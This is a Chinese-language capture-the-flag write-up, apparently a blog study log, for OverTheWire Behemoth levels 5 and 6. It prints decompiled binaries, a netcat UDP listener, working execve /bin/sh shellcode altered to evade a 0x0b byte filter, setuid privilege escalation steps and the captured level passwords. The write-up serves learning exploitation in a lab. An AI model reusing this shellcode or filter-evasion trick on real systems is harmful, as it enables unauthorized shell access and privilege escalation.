170907 WarGames-Behemoth(5-6)

1625-5 王子昂 总结《2017年9月7日》 【连续第339天总结】
A. WarGames-Behemoth
B.

Level 5
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int32 v3; // ST24_4@4
  uint16_t v4; // ax@10
  size_t v5; // ST08_4@10
  FILE *v6; // [sp+28h] [bp-28h]@1
  char *v7; // [sp+2Ch] [bp-24h]@4
  struct hostent *v8; // [sp+30h] [bp-20h]@4
  int v9; // [sp+34h] [bp-1Ch]@7
  signed __int16 v10; // [sp+3Ch] [bp-14h]@10
  uint16_t v11; // [sp+3Eh] [bp-12h]@10
  int v12; // [sp+40h] [bp-10h]@10
  int v13; // [sp+44h] [bp-Ch]@10
  int v14; // [sp+4Ch] [bp-4h]@1

  v14 = *MK_FP(__GS__, 20);
  v6 = fopen("/etc/behemoth_pass/behemoth6", "r");
  if ( !v6 )
  {
    perror("fopen");
    exit(1);
  }
  fseek(v6, 0, 2);                              // 设置文件指针的位置,为fromwhere(2)+offset(0)
  v3 = ftell(v6) + 1;                           // 得到文件指针的位置
  rewind(v6);                                   // 将文件指针重新指向流的开头
  v7 = (char *)malloc(v3);
  fgets(v7, v3, v6);                            // buf,bufsize,stream
  v7[strlen(v7)] = 0;
  fclose(v6);
  v8 = gethostbyname("localhost");
  if ( !v8 )
  {
    perror("gethostbyname");
    exit(1);
  }
  v9 = socket(2, 2, 0);                         // 创建套接字
  if ( v9 == -1 )
  {
    perror("socket");
    exit(1);
  }
  v10 = 2;
  v4 = atoi("1337");                            // StrToInt
  v11 = htons(v4);                              // 转换为大端序
  v12 = **(_DWORD **)v8->h_addr_list;
  memset(&v13, 0, 8u);
  v5 = strlen(v7);
  if ( sendto(v9, v7, v5, 0, (const struct sockaddr *)&v10, 0x10u) == -1 )// UDP协议
       // socket,msg,len,flags,to,tolen
  {
    perror("sendto");
    exit(1);
  }
  close(v9);
  exit(0);
}

整理一下流程,大体就是读取密码文件,然后通过socket以UDP格式向1337端口发送

htons函数的功能是将数字从intel系处理器所使用的小端序转换为网络通信通用的大端序
我以为是一种编码加密方式了(逆向做多的下场),研究了半天1337被转换后会是什么值了……
其实是socket通信的必要编码转换,只需要接收1337端口函数即可

重点在sendto函数是以UDP协议发送,而nc监听的默认是TCP包,需要使用-u参数

整体来说很简单,这个形式在之前bandit里做过了
打开两个shell,一个监听1337端口的UDP包,另一边运行behemoth5即可

behemoth5@behemoth:~$ nc -u -l 1337
mayiroeche

Level 6
behemoth6
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // ST1C_4@4
  FILE *v5; // [sp+18h] [bp-8h]@1

  v5 = popen("/behemoth/behemoth6_reader", "r");
  if ( !v5 )
  {
    puts("Failed to create pipe.");
    exit(0);
  }
  v3 = malloc(0xAu);
  fread(v3, 0xAu, 1u, v5);
  pclose(v5);
  if ( !strcmp((const char *)v3, "HelloKitty") )
  {
    puts("Correct.");
    execl("/bin/sh", "sh", 0);
  }
  else
  {
    puts("Incorrect output.");
  }
  return 0;
}
behemoth6_reader
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int32 i; // [sp+1Ch] [bp-14h]@3
  FILE *v5; // [sp+20h] [bp-10h]@1
  __int32 v6; // [sp+24h] [bp-Ch]@3
  void *v7; // [sp+28h] [bp-8h]@3

  v5 = fopen("shellcode.txt", "r");
  if ( v5 )
  {
    fseek(v5, 0, 2);
    v6 = ftell(v5);
    rewind(v5);
    v7 = malloc(v6);
    fread(v7, v6, 1u, v5);
    fclose(v5);
    for ( i = 0; i < v6; ++i )
    {
      if ( *((_BYTE *)v7 + i) == 11 )
      {
        puts("Write your own shellcode.");
        exit(1);
      }
    }
    ((void (*)(void))v7)();
  }
  else
  {
    puts("Couldn't open shellcode.txt!");
  }
  return 0;
}

这次有两个文件,behemoth6调用behemoth6_reader,取返回值与“HelloKitty”比较,成功则getshell
而behemoth6_reader的流程则是读取shellcode.txt,判断是否存在\x0b,如果存在的话则提示“请自己写shellcode”,判断通过以后执行shellcode

通常使用的get shell最后的汇编都是mov al,0xb int 0x80
使用的原shell如下

\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

既然查询点是0xb,那么只需要绕过这一点就行了
0xb是最后调用exec函数时提供的参数,因此值必须在
不过检查的是代码,因此通过一点小花样就可以绕过:mov al,0xa add al,1 即可
用pwntools的asm方法可以将汇编转换为二进制代码
得知\xb0\x0b可以用\xb0\x0a\x04\x01替换

成功通过behemoth_reader以后,查了一下popen函数的返回值是子进程的I/O流
因此只需要在shell中echo HelloKitty即可在behemoth中get shell

注意在behemoth6_reader中getshell以后权限仍然只有behemoth6的,因为behemoth6_reader不具有s权限,因此虽然创建者是behemoth7但权限是不会被提升的,所以还是要通过具有s权限的behemoth6来提权

behemoth6@behemoth:~$ /behemoth/behemoth6
echo HelloKitty
exit
Correct.
$ whoami
behemoth7
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo

另外还可以直接令shellcode的内容为echo HelloKitty,这样也可以绕过exec函数的检测

C. 明日计划
behemoth7

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值